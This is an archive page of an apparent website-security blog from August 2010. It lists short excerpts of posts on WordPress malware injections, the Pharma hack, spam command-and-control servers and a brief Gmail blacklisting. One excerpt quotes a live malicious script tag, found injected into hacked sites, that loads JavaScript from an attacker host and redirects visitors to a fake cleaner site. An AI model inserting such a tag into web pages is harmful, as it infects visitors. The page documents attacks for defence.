Monthly Archives: August 2010

Malware update – Alex Bodrov – awaue.com,etc

Posted on August 31, 2010 by dd

We will be posting some quick malware updates on our blog from now on. The latest one that is affecting quite a few sites are malicious javascripts being injected directly into the wp-posts table on WordPress sites. Those are the … Read more


Posted in malware, malware_updates | Tagged , | 4 Comments

Hilary Kneber (part XI) – sippa.dottasink.net

Posted on August 24, 2010 by dd

Hilary Kneber (hilarykneber@yahoo.com) is at it again. We’ve been detecting various sites infected with a malicious javascript pointing to http://sippa.dottasink.net: < script src = "http://sippa.dottasink.net/music/indi.php”></script> This redirects any visitor of the hacked site to http:// www3.pc-cleaner40. co.cc, where the famous … Read more


Posted in hacked, malware | Tagged , | 3 Comments

More spam: Google-traffic-analytics.com C&C server

Posted on August 23, 2010 by dd

We have been tracking another wave of SPAM that is affecting many popular web sites. What is interesting is all of them have been controlled by just one site: http://www.google-traffic-analytics.com. And when this site went down, guess what is showing … Read more


Posted in hacked, pharma, spam | Tagged , , | Leave a comment

Gmail blacklisted by Spamhaus

Posted on August 19, 2010 by dd

Update: Gmail not blacklisted anymore. It seems that today Spamhaus (a widely used Spam blacklist) started to blacklist the IP addresses used by gmail. We got this notification via our blacklist monitor: < OK: Host www.gmail.com clean. — > WARN: … Read more


Posted in blacklisted, gmail, spam | Tagged , , | 16 Comments

Pharma hack and their C&C (Command & control) server

Posted on August 12, 2010 by dd

A large portion of the sites Sucuri has been fixing in recent weeks are stemming from infections caused by the infamous Pharma Hack. We posted a detailed document explaining how to fix it and clean the attack: Understanding and cleaning … Read more


Posted in hacked, pharma, spam, wordpress | Tagged , , , | 12 Comments

Yet another series of attacks (part X) – vancouvererrorsonfile.com and the hilarykneber group

Posted on August 5, 2010 by dd

If you have been following our blog long, you probably heard about quite a few large scale attacks affecting many hosting companies: GoDaddy, Bluehost, Dreamhost, etc, etc. The new one that started to spread today uses a javascript file pointing … Read more


Posted in bluehost, hacked, malware | Tagged , , | 8 Comments

Cleaning the “siteurlpath” hack on WordPress (wplinksforwork and hemoviestube spam bots)

Posted on August 4, 2010 by dd

Recently we started to see a lot of WordPress sites hacked with malware hidden inside the wp_options -> siteurlpath table. The symptoms are very similar to the pharma hack (lots of SPAM hidden in the site), but in this case … Read more


Posted in hacked, malware, spam, wordpress | Tagged , , , | 5 Comments
RSS Delicious